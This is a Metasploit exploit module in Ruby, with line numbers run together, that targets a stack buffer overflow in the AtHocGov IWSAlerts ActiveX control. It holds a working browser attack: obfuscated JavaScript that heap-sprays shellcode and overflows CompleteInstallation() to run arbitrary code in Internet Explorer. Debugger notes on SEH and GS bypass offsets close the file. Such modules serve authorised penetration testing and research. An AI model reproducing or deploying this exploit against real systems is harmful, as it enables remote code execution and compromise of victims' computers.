Path: blob/master/modules/exploits/windows/browser/athocgov_completeinstallation.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When17sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll18(6.1.4.36) an attacker may be able to execute arbitrary code. This19vulnerability was silently patched by the vendor.20},21'License' => MSF_LICENSE,22'Author' => [ 'MC' ],23'References' => [24[ 'OSVDB', '94557' ]25],26'DefaultOptions' => {27'EXITFUNC' => 'process',28},29'Payload' => {30'Space' => 1024,31'BadChars' => "\x00",32},33'Platform' => 'win',34'Targets' => [35[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]36],37'DisclosureDate' => '2008-02-15',38'DefaultTarget' => 0,39'Notes' => {40'Reliability' => UNKNOWN_RELIABILITY,41'Stability' => UNKNOWN_STABILITY,42'SideEffects' => UNKNOWN_SIDE_EFFECTS43}44)45)4647register_options(48[49OptString.new('URIPATH', [ true, "The URI to use.", "/" ])50]51)52end5354def autofilter55false56end5758def check_dependencies59use_zlib60end6162def on_request_uri(cli, request)63# Re-generate the payload.64return if ((p = regenerate_payload(cli)) == nil)6566# Encode the shellcode.67shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6869ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)7071js = %Q|72try {73var evil_string = "";74var index;75var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1');76var my_unescape = unescape;77var shellcode = '#{shellcode}';78#{js_heap_spray}79sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);80for (index = 0; index < 12500; index++) {81evil_string = evil_string + my_unescape('#{ret}');82}83vulnerable.CompleteInstallation(evil_string);84} catch( e ) { window.location = 'about:blank' ; }85|8687opts = {88'Strings' => true,89'Symbols' => {90'Variables' => [91'vulnerable',92'shellcode',93'my_unescape',94'index',95'evil_string',96]97}98}99js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)100js.update_opts(js_heap_spray.opts)101js.obfuscate(memory_sensitive: true)102content = %Q|103<html>104<body>105<script><!--106#{js}107//</script>108</body>109</html>110|111112print_status("Sending #{self.name}")113114# Transmit the response to the client115send_response_html(cli, content)116117# Handle the payload118handler(cli)119end120121end122=begin123IDL info...124[id(0x00000022)]125HRESULT CompleteInstallation([in] BSTR strParam);126127$~/trunk/./msfpescan -f AtHocGovTBr.dll128AtHocGovTBr.dll: Microsoft Visual C++ v7.1 EXE [165]129AtHocGovTBr.dll: Microsoft Visual C++ v7.1 DLL [159]130131// smash /GS132$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SecurityCookie133SecurityCookie 0x4278193c134135// /SafeSEH, not today.136$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SEH137SEHandlerTable 0x42774e40138SEHandlerCount 0x0000021b1391400:000> !exchain1410013cae0: ntdll!_except_handler3+0 (7c90ee18)142CRT scope 0, filter: ntdll!RtlFreeHeap+613 (7c93bec5)143func: ntdll!RtlFreeHeap+617 (7c93bece)1440013cb1c: AtHocGovTBr!SetOfflineInstall+a0b4 (4274f944)1450013dd9c: 61473161146Invalid exception stack at 473061471470:000> !pattern_offset 5140 0x47306147148[Byakugan] Control of 0x47306147 at offset 4680.1490:000> !pattern_offset 5140 0x61473161150[Byakugan] Control of 0x61473161 at offset 4684.151=end152153154